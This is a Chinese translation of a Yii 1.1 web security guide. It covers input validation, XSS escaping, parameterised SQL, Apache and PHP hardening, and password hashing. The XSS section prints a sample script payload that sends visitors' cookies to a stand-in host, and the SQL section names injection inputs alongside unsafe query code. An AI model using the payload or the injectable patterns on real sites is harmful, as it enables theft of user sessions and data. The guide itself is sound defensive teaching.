雖然本文是基於YII1.1,但其中提到的安全措施適用於多數web項目安全場景,因此翻譯此文,跟你們交流。原文地址。 php
安全基本措施... 2 css
驗證與過濾用戶的輸入信息... 2 html
原理... 2前端
客戶端驗證... 2nginx
YII如何防範... 2web
跨站腳本攻擊XSS. 4 ajax
原理... 4sql
YII如何防範... 5數據庫
SQL注入... 7 apache
提示:雖然本文內容豐富,但並未囊括全部的安全方面的知識;若是您程序對安全要求至關高,請多多參考相關技術。
以下操做:設置YII_DEBUG爲true,並設置error_reporting(E_ALL);設置後,YII會打印出全部錯誤和警告的信息,出錯的代碼與緣由;
注意,不要忽略任務一個提示,即便一個警告(E_NOTICE)均可能引起安全問題,好比未定義的數組的鍵。
要保證產品中的提示信息不包含調試敏感信息。
通常兩種日誌:YII記錄程序中運行的日誌,web服務器和PHP記錄服務端的日誌。
好比,當用戶修改本身檔案中的生日時,後臺應該要確保他輸入的是有效的日期;這不只僅是爲了防止用戶的誤操做,也是爲了確保安全。如,要確保用戶輸入的是正確的時間格式「1951-01-25」,以防止sql注入與跨域攻擊。驗證用戶輸入雖然不是最有效的防範手段,但這是防範措施的第一步。
客戶端驗證並不能防範安全隱患,但能使程序與用戶的交互更友好。爲何說客戶端驗證也不能保證安全呢?好比下面的這段HTML代碼:
<input type="hidden" name="id" value="1" /> <input type="text" name="date" size="10" /> <select name="list"><option>1</option><option>2</option></select>
雖然,網頁前端輸出的數據與各類html的input與select控件,但用戶能夠將這控件所有修改爲textarea,而後再發送到後臺。
YII提供了下面兩種方式處理這種狀況。(在不用YII的狀況下,使用PHP的類型轉換與過濾擴展。)
多數時候,用戶輸入的信息會由model來處理,而model是繼承自CFormModel 或者 CActiveRecord 。這兩個類的父類CMode的rules()方法用來定義字段驗證規則。
驗證用戶輸入的信息也能夠寫在CComponent 的行爲和model 的beforeValidate()方法裏。
<?php // controller裏Action $model = new Comment; $model->attributes = $_POST['Comment']; if ($model->save()) { // 驗證經過後,纔會被保存 $this->redirect(array('view', 'id' => $model->id)); } else { // 未經過驗證,或保存未成功 }
<?php // model class Comment extends CActiveRecord { public function rules() { return array( array('parent', 'numerical', 'integerOnly' => true), array('strangedata', 'customValidateForStrangedata'),//自定義的驗證器 array('description', 'length', 'max' => 255), ); } // 繼承父類的beforeValidate(),在驗證以前執行 protected function beforeValidate() if (!empty($this->description) && substr_count($this->description, '"') % 2 !== 0) { $this->addError("description", "引號沒有配對"); // return false; // stop validation } return parent::beforeValidate(); } /*自定義的驗證方法 * @return boolean Continue the validation process? */ protected function customValidateForStrangedata($attribute, $params) { $this->addError($attribute, "validation failed"); return false; }
在編寫程序的時候,應該重視對用戶輸入信息的驗證,這不只僅是爲了安全,也能保持後臺收集到正確的數據。YII已經爲咱們定義多種的字段的驗證方式,並且本身也還能夠新增驗證器。同時,在不一樣的場景下也可使用不一樣的驗證。好比,某個字段僅須要在修改的時候驗證,而在新增的時候,則不須要驗證。
有的用戶輸入信息須要直接在controller裏驗證。當這種狀況的時候,應該使用的PHP的類型轉換。通常都這麼處理數字型的ID。
<?php // 不安全 $model = Post::model()->findByPk($_GET['id']); // 安全 $model = Post::model()->findByPk((int) $_GET['id']);
若是傳入字段的類型不是數字型,推薦使用model進行驗證。
當遇到上面例子中第一種寫法的時候,YII中model的findByPk()方法會自動轉換ID爲數字型 (下面SQL注入章節會重點介紹)。然而多數狀況下,依靠YII的這種自動處理是不保險的。好比,當惡意用戶輸入這樣一個url:comment/delete?id[]=2\&id[]=1。後臺$_GET[‘ID’]接收到的就是一個數組,若是此ID沒有被驗證就用於其它函數(不只僅 是findByPk)處理,這就存在安全隱患。
若是用戶的輸入的信息沒有過濾與驗證,就後臺就直接交此信息輸出到瀏覽器,這可能被惡意用戶利用,從而進行XSS攻擊。好比,用戶輸入JavaScript代碼,而其它用戶又瀏覽了此用戶的信息,則可能形成用戶的信息被竊取。典型案例是盜取用戶的cookie信息。
示例:
<h2> <?php echo $user->name ?>的簡歷</h2> //未過濾的用戶輸出數據: <a href="/posts?name=<?php echo $user->login ?>" title='<?php echo $user->name ?>'>查看個人檔案</a>
爲何上面示例有案例隱患呢?若是上例中$user->name是以下所示的代碼:
張三<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>
那麼當其它用戶訪問張三的檔案的時候,將會從其它服務器加載一張圖片,而此加載圖片的請求攜帶着訪問者的cookies信息。這就是XSS攻擊基本的原理。
PHP提供htmlspecialchars函數將一些預約義的字符轉(如: &,",’,<,>)換爲 HTML 實體。上面示例中還有超連接,因此htmlspecialchars結合rawurlencode() 和 htmlspecialchars(, ENT_QUOTES)一塊兒使用。
用CHtml::encode()輸出普通文本。示例:
<h2> <?php echo CHtml::encode($user->name) ?>簡歷</h2>
CHtml::encode()封裝了htmlspecialchars函數,默認文本編碼是YII應用的編碼;因此若是須要輸出的文本的編碼不是UTF-8,就須要在YII的配置文件(main.php)裏設置charset;
有時須要在CHtml::encode()前,使用PHP的strip_tags()去除HTML/XML標籤。遇到這種狀況,使用strip_tags後,切記要使用CHtml::encode();不要單獨使用strip_tages()。
若是瀏覽器須要顯示用戶輸入的HMTL代碼,後臺應該在保存用戶輸入數據前過濾。有幾個PHP庫解決這個問題,其中著名的如 Html Purifier 。Yii已經將Html Purifier封裝成CHtmlPurifier。
示例:
<li class="comments"> <?php $purifier = new CHtmlPurifier(); $purifier->options = array( 'HTML.Allowed' => 'p,a[href],b,i', ); foreach (Comment::model()->findAll() as $comment) { // 危險的輸出 //echo "<li>" . $comment->text . "</li>\n"; // 安全的輸出 echo "<li>" . $purifier->purify($comment->text) . "</li>\n"; } ?> </li>
通常使用富文本編輯器(如:TinyMCE,CkEditor)來知足用戶輸入HTML的需求。但Markdown或wiki syntaxt語言是個更好的選擇。
示例:
<div class="comment"> <?php $md = new CMarkdownParser(); echo "<div>" . $md->transform($comment) . "</div>"; ?> </div>
使用rawUrlEncode()轉義網址中的URL部分,urlEncode()轉義網址中的網址中的參數部分。
示例
<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script> <a href="/search/<?php echo rawUrlEncode($query)) ?>">轉義網址中url部分</a> <a href="/?param=<?php echo urlEncode($param) ?>">轉義url的參數部分</a> <a href="<?php echo CHtml::encode($url . "¶m=" . urlEncode($param)) ?>">轉義整個網址</a>
CHtml::encode()不能單獨在這裏使用,如$query = 'xxx.com?x="N & B"',這樣CHtml::encode()會將’&’,轉義成’&’。
使用Html Purifier處理CSS;(詳見上章富文本的處理)。
使用CJavaScript的靜態方法,對JS變量做轉義輸出;
示例:
<?php $messages = array("Rock'n roll", 'Say "hello"'); $title = "D'accord"; Yii::app()->clientScript->registerScript('snippet', " function displayMsg() { var messages = " . CJavaScript::encode($messages) . "; var title = '" . CJavaScript::quote($title) . "'; // ... } ");
若是不須要YII轉義JS,可使用js:前綴。以下所示:
<?php $this->widget( 'zii.widgets.jui.CJuiAutoComplete', array( 'name' => 'field_name', // 默認會使用CJavaScript::quote 轉義變量 'source' => 'js:function(request, response) { $.ajax({...}) }', // 在代碼前加「js:」前綴
簡單的說,當把未通過濾和驗證的數據直接拼裝SQL語句,會存在SQL注入漏洞。
<?php // 警告,如下是不安全的寫法 Yii::app()->db ->createCommand("DELETE FROM mytable WHERE id = " . $_GET['id']) ->execute(); $comments = Comment::model->findAll("user_id = " . $_GET['id']);
上面示例中的第一個sql語句,若是GET參數是」4 or 1=1」,這會致使表中的全部數據被刪除;
第二個sql語句中,若是GET參數是2 UNION SELECT ,會致使數據庫的任意數據都被查詢出來。
以下例
<?php $id = intval($_GET['id']); MyModel::model()->findByPk($id)->delete(); // 使用類型轉換 $comments = Comment::model->findAllByAttributes(array('user_id' => (int)$_GET['id']);
使用YII函數要比純SQL語句安全些;但,對於YII函數來講,使用數組比字符串更安全;以下例:
<?php //存在sql注入 $comments = Comment::model->findAll("post_id = $postId AND author_id IN (" . join(',', $ids) . ")"); // 安全 $comments = Comment::model->findAllByAttributes(array("post_id" => $postId, "author_id" => $ids));
當必需要使用原生的SQL的時候,好比一個SQL語句有兩個參數,以下所示:
SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date FROM t_comment WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'
遇到這種狀況,有如下兩種相對安全的寫法:
當使用第一種方式的時候,可使用YII的CDbConnection::quoteValue();
好比"date > '{$date}'",能夠寫成 "date > " . Yii::app()->db->quoteValue($date)
。
數據庫服務器先編譯完傳入的SQL語句,再將接收到的參數插入到SQL語句的佔位符。但,當數據庫服務器不支持預編譯時,PHP就會模擬這個過程,這也可能有SQL注入的隱患(預編譯的詳細原理能夠參考這篇博文)。
在YII中SQL預編譯的過程能夠以下所示的代碼:
<?php // 佔位符沒有引號 $sql = "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date " . "FROM t_comment " . "WHERE (date > :date OR date IS NULL) AND title LIKE :text" // 第一種寫法 $command = Yii::app()->db->createCommand($sql); $command->bindParam(":date", $date, PDO::PARAM_STR); $command->bindParam(":text", "%{$text}%", PDO::PARAM_STR); $results = $command->execute(); // 第二種寫法 $command = Yii::app()->db->createCommand($sql); $results = $command->execute(array(':date' => $date, ':text' => "%{$text}%"));
當使用ActiveRecordr的時候用SQL預編譯,語法會更加簡練,以下所示:
<?php$comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%"));
在上面的示例中,即便不存在SQL注入隱患,此SQL語句中的like的使用也值得商榷。’%like%’不使用索引的,而’like%’是可使用索引的;因此,若是將’like%’轉換成’%like%’,當like的字段值很大的時候,會嚴重影響效率。
建議當須要使用到’%like%’的時候,儘可能使用其它比較符(<=,>,……)替換。可使用YII的CDbCriteria::compare()和CDbCriteria::addSearchCondition()函數,而簡化操做。
從YII1.1.8起,佔位符再也不用」?」標識,而是使用」:」標識;
預編譯稍長的SQL要比不編譯要稍慢些,這對系統的總體性能影響很是小。但若是同一個SQL運行屢次,預編譯的效率優點就體現出來了。然而,若是使用的PHP模擬預編譯,則跟不編譯SQL沒有區別。
雖然預編譯能防止SQL注入,但有些時候由於SQL語句的各個部分都是變量,因此不能使用預編譯。以下所示:
SELECT * FROM {$mytable} WHERE {$myfield} LIKE '{$value}%' AND post_date < {$date} ORDER BY {$myfield} LIMIT {$mylimit}
遇到這類狀況,通常使用白名單過濾SQL語句的每一個部分。YII提供以下相似的過濾方法:
<?php if (!Comment::model()->hasAttribute($myfield)) { die("Error"); }
更加經常使用的是使用YII的」 Query Builde」,但不能跟CDbCriteria結合使用。
多數時候,咱們多是經過Model來查詢,可使用find*()類的方法與CDbCriteria一塊兒使用。以下:
<?php // YII會檢測字段的合法性 $criteria = new CDbCriteria( array( 'order' => $myfield, 'limit' => $mylimit, ) ); $criteria->compare($myfield, $value, true); // LIKE % :$value會被轉義 $criteria->compare('post_date', '<:date'); $criteria->params = array(':value' => $value, ':date' => $date); $comments = Comment::model()->findAll($criteria)
YII的GII模塊使用CGridView提供數據。CDataProvider使用CDbCriteria爲CGridView提供數據,因此當使用CGridView的時候,YII會自動過濾與驗證用戶輸入的查詢條件。
一個完整的示例以下:
<?php // 當不是原生的SQL語句的時候,YII會自動驗證字段的合法性 $criteria = new CDbCriteria(); $criteria->order = $myfield; $criteria->limit = $mylimit; $criteria->addSearchCondition($myfield, $value, true); // true ==> LIKE '%...%' $criteria->addCondition("post_date < :date"); $comments = Comment::model()->findAll($criteria, array(':value' => $value, ':date' => $date));
當使用Model進行查詢時,有以下五種方式:
1. CActiveRecord::findByPk() 或者 CActiveRecord::findAllByPk().(推薦) 2. CActiveRecord::findByAttributes() 或者 CActiveRecord::findByAttributes() 3. X::model()->find($criteria, array(':param1' => $value1)) 或者 ->findAll(...) 4. X::model()->find($sql, array(':param1' => $value1)) 或者->findAll(...) 5. X::model()->findBySql($sql, array(':param1' => $value1)) 或者 ->findAll(...)
當不是基於Model查詢時,要使用預編譯,以下所示:
<?php $r = Yii::app()->db ->createCommand($sql) ->queryAll(array(':param1' => $value1));
使用這種方式時,切記要對用戶輸入的進行過濾與驗證。
須要對數據進行增、刪、改,須要客戶端的發起POST請求。這是一個好習慣,也是REST架構推薦的方式。如此,能夠防止瀏覽器的一些的誤操做而引發數據的變化。可是POST請求並不能防止CSRF,從安全角度來講POST的並無提升安全性。但YII有一套機制能夠防止CSRF,只不過默認並不有開啓。
本章節討論是基於類UNIX系統(Linux,BSD,OSX)上安裝的Apache服務器,PHP做爲Apache的一個模塊運行。其它的環境(如Windows,nginx,PHP-fpm…)配置可能不一樣,但其它原理是同樣的。
若是在生產環境中,把YII的YII_DEBUG設置爲’true’,系統的調試信息會被打印到瀏覽器。設想一下,若是用戶發現了系統的輸入字段沒有驗證,那麼用戶發送了可能會發送在表單字段中發送一個數組,這樣會致使PHP函數接收了錯誤的參數類型。若是在debug模式下,YII會打印出詳細的調試信息。
不方便的是,YII_DEBUG是在YII應用的index.php中設置。因此,這個變量須要在開發環境、測試環境和生產環境中設置成不一樣的值。有一個解決方案是使用版本控制器設置,但這樣很不方便。
推薦的方式是重寫index.php,以便讀取debug的配置。能夠有以下兩種方式:
Apache中以下設置環境變量:
SetEnv YII_ENV testing |
這個變量能夠在配置文件或者.htaccess中設置。PHP程序能夠經過$_SERVER[‘YII_ENV’]讀取YII_ENV變量,若是沒有設置,默認爲生產環境。
YII框架所在的目錄不該該放在WEB服務器的根目錄裏,要確保用戶經過瀏覽器不能訪問框架的文件,如’yiilite.php’。
YII應用中的三個目錄:’assets’,’protected/data’,’protected/runtime’;web服務器須要對這三個目錄的寫權限。除此以外的全部目錄,web服務器應該只有讀的權限。
即便如此,黑客有可能建立或修改這三個目錄的文件。特別是’assets’目錄是可寫的,又是能夠直接經過HTTP請求訪問。所以,’assets’目錄裏的PHP文件只能被當成文本類文件,不能被解析。
YII的應用默認提供了.htaccess文件用來防止’protected/’和’theme/class/views/’被瀏覽器直接訪問。若是在Apache裏配置,會更安全、更高效。下面示例瞭如何禁止運行’assets’文件夾裏的PHP文件。
[apache] # 示例:配置YII應用 Alias /web/path/for/myapp "/home/myapp/www" <Directory "/home/myapp/www"> AllowOverride None </Directory> <Directory "/home/myapp/www/protected"> Deny from All </Directory> <Directory "/home/myapp/www/assets"> #關閉PHP解析引擎 php_admin_flag engine off Options -Indexes </Directory>
下面示例:YII應用在虛擬機中設置:
[apache] # Example config for Yii-myapp as an Apache VirtualHost # Please set the paths and the host name to their right values <VirtualHost *:80> ServerName myapp.com DocumentRootAlias /home/myapp/www ErrorLog /var/log/apache2/myapp-error.log CustomLog /var/log/apache2/myapp-access.log common <Directory "/home/myapp/www"> Options +FollowSymLinks # 從PHP5.4起已經被移除下面兩個屬性 php_flag register_globals Off php_flag gpc_magic_quotes Off # 禁止 .htaccess 重寫 AllowOverride None #重寫URL <IfModule mod_rewrite.c> # 如下配置是隱藏URL中的index.php # 須要配置YII的 urlManager.showScriptName = false IndexIgnore */* RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php </IfModule> </Directory> # 禁止經過瀏覽器訪問YII應用 的protected目錄 <Directory "/home/myapp/www/protected"> Deny from All </Directory> # 保護YII應用中沒有PHP腳本的目錄 <DirectoryMatch "/home/myapp/www/(assets|css|images|js)$"> # 禁止執行PHP腳本 php_admin_flag engine off # 禁止瀏覽目錄下的文件目錄 Options -Indexes </DirectoryMatch> </VirtualHost>
指令 |
說明 |
allow_url_include |
關閉 |
register_globals |
關閉 |
magic_quotes_gpc |
關閉,由於YII應用忽略此函數的做用 |
open_basedir |
謹慎使用 |
display_errors |
在生產環境下關閉 |
error_reporting |
至少要報告E_ERROR。官方文檔 |
這些指令能夠在php.ini中配置。若是appache設置AllowOverride Options,那麼在.htaccess中能夠以下所示配置:
[apache] # .htaccess 文件 php_flag display_errors off php_value error_reporting -1
若是不容許在.htaccess文件和ini_set()中改變php.ini中配置的變量,則能夠在appache的配置文件(如:httpd.conf)使用php_admin_flag指定。
[apache] # Apache 配置文件 <Directory "/var/www/myapp"> php_admin_value open_basedir /var/www/myapp/:/tmp/ </Directory>
注意:SSL不在本文討論的範圍內。
受權是保證用戶只能訪問權限內的資源,這個就說來話長了。不過,YII很方便的爲咱們提供了些類來處理受權問題。詳情能夠訪問詳情說明。
其它一些資源:
爲了防止弱密碼的出現,咱們能夠本身寫檢驗規則,也可使用現成的YII擴展epasswordstrength。
下面示例:自定義密碼強度驗證
<?php class User extends CActiveRecord { public function rules() { return array( array('password', 'checkPasswordStrength'), ); } protected function checkPasswordStrength($attribute, $params) { $password = $this->$attribute; $valid = true; $valid = $valid && preg_match('/[0-9]/', $password); // 含數字 $valid = $valid && preg_match('/\W/', $password); // 含其它字符 // ... 其它驗證規則 ... $valid = $valid && (strlen($password) > 7); // 最小長度 if ($valid) { return true; } else { $this->addError($attribute, "密碼格式不符合要求"); return false; } }
也能夠先在客戶端用JS對密碼進行驗證,用戶能夠馬上知道輸入的密碼是否符合要求。但不要忘記在後端也要用PHP進行驗證。客戶端的驗證的YII擴展estrongpassword。
本文只討論在常規應用應用服務器中的密碼驗證;其它服務不在討論之列,如LDAP, SSO, OpenID。
對於用戶的密碼不能使用明文存儲,須要加密存儲。一個方便的方法是使用 PHPass。以下示例:
<?php // autoload "protected/lib/PasswordHash.php" Yii::import('application.lib.PasswordHash'); class User extends CActiveRecord { public function validatePassword($password) // 用戶輸入$password { // $hasher = new PasswordHash(8, FALSE); return $hasher->checkPassword($password, $this->password); } public function beforeSave() { // 用密文替換明文 if (isset($this->password)) { $hasher = new PasswordHash(8, FALSE); $this->password = $hasher->HashPassword($this->password); } return parent::beforeSave(); }
加密函數能夠本身寫,但PHPass很安全和成熟。其做者開發過密碼密碼破解軟件john the ripper。
一些經常使用用的安全檢測工具。